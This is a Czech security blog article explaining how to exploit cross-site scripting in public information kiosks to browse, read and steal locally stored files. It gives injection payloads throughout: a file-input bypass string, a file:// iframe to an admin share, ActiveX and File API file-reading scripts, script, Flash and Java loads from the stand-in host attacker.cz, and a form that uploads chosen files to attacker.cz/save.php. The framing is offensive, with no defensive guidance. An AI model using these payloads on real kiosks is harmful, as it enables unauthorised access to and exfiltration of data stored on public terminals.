Zpět na seznam článků     Číst komentáře (14)     Verze pro tisk

Hacking informačních kiosků

Autor: .cCuMiNn.   
18.10.2012

Určitě jste se již na ulici, na nádraží, v knihovně, nebo na úřadech setkali s informačními kiosky. Jde o terminály, ve kterých je často spuštěn pouze webový prohlížeč s jednoúčelovou webovou aplikací. Některé vám dokonce umožní navštívit webové stránky vybraných institucí, nebo rovnou neomezeně surfovat po Internetu.


Tyto terminály vás ovšem nepustí mimo spuštěný webový prohlížeč. Jedinou možností, jak se dostat k datům v nich uloženým, tedy zůstává právě zneužití webové aplikace, kterou máme k dispozici. Pokud bych se vás nyní zeptal, která zranitelnost je ve webových aplikacích nejčastěji zastoupena, jistě byste mi bez prodlevy odpověděli, že Cross-Site Scripting. Ano, je to skutečně tak. XSS najdete téměř v 80% webových aplikací, a ne jinak tomu bude i u těchto jednoúčelovek, případně u dalších vybraných webových stránek, které máte kioskem povoleno navštívit. Může nám ale XSS nějak pomoci v přístupu k souborům, které jsou v daném kiosku lokálně uloženy, a jaká data bychom tak mohli získat?

Mnoho informačních kiosků nejspíš příliš zajímavých dat obsahovat nebude. Najdou se ale i takové, které obsahují databáze s diskrétními daty a jejich kompromitaci pak již rozhodně není radno podceňovat. Útočníka ale mohou zajímat například i různé konfigurační soubory, jež by mohly obsahovat hesla, či jiné důležité údaje.

Co se týká samotného přístupu k lokálně uloženým souborům, tak nám XSS v tomto směru může být nápomocno hned několika způsoby. Musím zmínit, že k sepsání tohoto článku mě inspiroval Subber, který před nedávnem právě tento problém řešil a hledal možnosti, kterými lze lokálně uložené soubory pomocí XSS přečíst. Protože mě samotného překvapilo, jaké rozličné varianty ataku má útočník k dispozici, rozhodl jsem se pro jejich ucelené sepsání.

Ne všechny uvedené varianty půjde využít u všech terminálů. Někde sice mohou být použitelné všechny, jinde naopak nemusí být funkční žádný z nich. Vždy záleží na použitém webovém prohlížeči, nastavených právech a konfiguraci daného terminálu. Rozhodujícími faktory, které ovlivňují úspěch útoku, jsou především:

  • použitý OS a browser
  • práva prohlížeče
  • povolení JavaScriptu
  • povolení Flashe nebo Javy
  • možnost využít Active X
  • možnost využít File API z nabídky HTML5
  • webové stránky (domény), jejichž obsah je možné načítat

Průzkum adresářové struktury

Prvním krokem, který útočníkovi umožní procházet adresářovou strukturu lokálního disku, bude využití některého neošetřeného výstupu (XSS) k injektáži HTML prvku input typu file.

Příklad injektovaného vstupu s bypassem
"><form><input type="file"></form>

Načtením takto nakažené webové stránky na ní útočník vykouzlí pole, které mu umožní snadný průzkum disku a pomůže odhalit zajímavé soubory, které jsou na lokálním disku uloženy.









Zobrazení obsahu souboru

Procházením disku ovšem celý útok zdaleka nekončí. Jedna věc je zjistit strukturu adresářové struktury, druhá a často složitější věc, je dostat se k samotnému obsahu jednotlivých souborů.

Útočník může vyzkoušet vyvolat kontextové menu nad kterýmkoliv souborem již během jeho výběru, a bude-li mít štěstí a toto se mu podaří, může v něm klidně najít i volbu pro otevření souboru. Tato varianta bude ovšem spíše výjimkou.

Druhou z variant, která se pro načtení obsahu nabízí, je využít XSS zranitelnosti k injektáži rámu, který by obsah souboru přímo zobrazil. Zde je ovšem podmínkou OS Windows, zpřístupnění výchozích sdílených složek a běh pod administrátorským účtem. S tím se ovšem v praxi s největší pravděpodobností asi také nesetkáte.

<iframe src="file://127.0.0.1/c$/setting.txt"></iframe>

Přečtení obsahu souboru pomocí Active X

Pokud browser pochází z rodiny Internet Explorerů a má povoleno spuštění důvěryhodných Active X komponent, pak se dá této skutečnosti využít k výpisu obsahu souboru následujícím kódem

Využití Active X pro zobrazení obsahu souboru
  1. <input type="file" id="fileinput">
  2.  
  3. <script type="text/javascript">
  4.   document.getElementById('fileinput').attachEvent('onchange', loadFile);
  5.  
  6.   function loadFile() {
  7.      var fileContents = ieReadFile(document.getElementById('fileinput').value);
  8.      alert(fileContents);
  9.   }
  10.  
  11.   function ieReadFile(filename) {
  12.      try {
  13.        var fso  = new ActiveXObject("Scripting.FileSystemObject");
  14.        var fh = fso.OpenTextFile(filename, 1);
  15.        var contents = fh.ReadAll();
  16.       fh.Close();
  17.       return contents;
  18.    } catch (Exception) {
  19.      return "Unable to open the file";
  20.    }
  21. }
  22. </script>

Protože se už jedná o relativně delší kód, je vhodné si nejdříve zjistit, zda a z jakých umístění je možné injektovat externí skripty. Pokud je toto možné, může to výrazně zkrátit čas strávený u terminálu, protože si útočník může kód vytvořit a uploadovat na svou stránku předem. V kiosku pak stačí injektovat pouze krátký kód.

Načtení skriptu z externího zdroje
<script src="http://www.attacker.cz/attack.js"></script>

Přečtení obsahu souboru pomocí File API

V mladších verzích webových prohlížečů je k dispozici také další zajímavá novinka, kterou je File API. S jeho pomocí je možné přečíst obsah lokálně uloženého souboru podobně, jako tomu bylo v případě Active X komponenty. Bohužel není File API aktuálně podporováno ze strany Internet Exploreru. V jeho případě se podpory dočkáme až ve verzi IE 10.

Využití HTML5 File API pro zobrazení obsahu souboru
  1. <input type="file" id="fileinput" onchange="handleFiles(this.files)">
  2.    <script>
  3.      var inputElement = document.getElementById("fileinput");
  4.      inputElement.addEventListener("change", handleFiles, false);
  5.  
  6.      function handleFiles(files) {
  7.       for (var i = 0; i < files.length; i++) {
  8.         var file = files[i];
  9.         var ifr = document.createElement("iframe");
  10.         document.body.appendChild(ifr);
  11.         var reader = new FileReader();
  12.         reader.onload = (function(aIfr) { return function(e) { aIfr.src = e.target.result; }; })(ifr);
  13.         reader.readAsDataURL(file);
  14.       }  
  15.     }
  16.   </script>

Čtení souborů pomocí Javy a Flashe

V kiosku může být povoleno také načítání Flashových animací, nebo Java appletů. Pokud navíc není omezeno, odkud je možné tyto objekty načítat, stojí za zkoušku injektovat do stránky jeden z níže uvedených kódů, který by odkazovat na odpovídající soubor.

Kód pro injektáž Flashe
  1. <object type="application/x-shockwave-flash" data="http://www.attacker.cz/getFile.swf" width="300" height="300">
  2.   <param name="movie" value="http://www.attacker.cz/getFile.swf" />
  3. </object>
Kód pro injektáž Java appletu
  1. <applet code="http://www.attacker.cz/getFile.class" width="300" height="300"></applet>

Původně jsem měl v plánu na tomto místě přiložit jednuchý Flash a Java applet, který by nedělal nic iného, než jen poskytl vstupní pole pro výběr souboru a následně zobrazil jeho obsah. Nepodařilo se mi však sehnat žádného dobrovolníka, který by byl ochoten to naprogramovat. Pokud byste měli chuť se do toho pustit, pak na toto místo rád vaše výtvory přidám dodatečně.


Odeslání souboru

V případě, že žádná z výše uvedených variant zobrazení obsahu souboru přímo v terminálu nevedla ke zdaru, zbývá ještě možnost odeslat soubor na svůj webový server, nebo na některou z domén, jejich načítání je v terminálu povoleno.

na svůj server

V případě zaslání souboru na vlastní server, pokud to terminál umožňuje, bude situace velice jednoduchá. Pomocí XSS zranitelnosti v tomto případě nebude útočník do zranitelné stránky injektovat pouze element input, ale rovnou celý formulář s vhodně nastavenými atributy.

Formulář pro odeslání souboru
  1. <form action="http://www.attacker.cz/save.php" method="post" enctype="multipart/form-data">                                
  2.   <input type="file" name="fileinput">
  3.   <input type="submit">
  4. </form>

Skript save.php na útočníkově serveru pak bude pouze přebírat a ukládat obdržené soubory, které si útočník následně může procházet v klidu domova.

Otázkou ovšem zůstává, zda je v tomto případě ještě nutné hledat a zneužívat XSS. Snad jen v případě, kdy požadavky mimo povolené domény sice odchází, ale je blokováno zobrazení vrácených stránek.

na cizí (povolenou) doménu

Pokud není umožněno načítání jiných, než několika vyjmenovaných domén, pak útočníkovi nezbývá, než se na nich pokusit najít takovou stránku, která by umožňovala upload souborů, odeslání emailu s přílohou, nebo třeba vracela v chybové hlášce obsah obdrženého požadavku.


Závěr

Vidíte, že možností, jak se dostat k lokálně uloženým souborům na strojích, které uživatele nepustí mimo webový prohlížeč, existuje celá řada. Nelze přitom jednoznačně říci, který z nich je nejlepší, neboť vždy záleží na konfiguraci a mnoha dalších faktorech konkrétního terminálu. Na vaše vlastní zkušenosti a další metody hackování těchto zařízení se těším v komentářích…


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.24/17

1  2  3  4  5    
(známkování jako ve škole)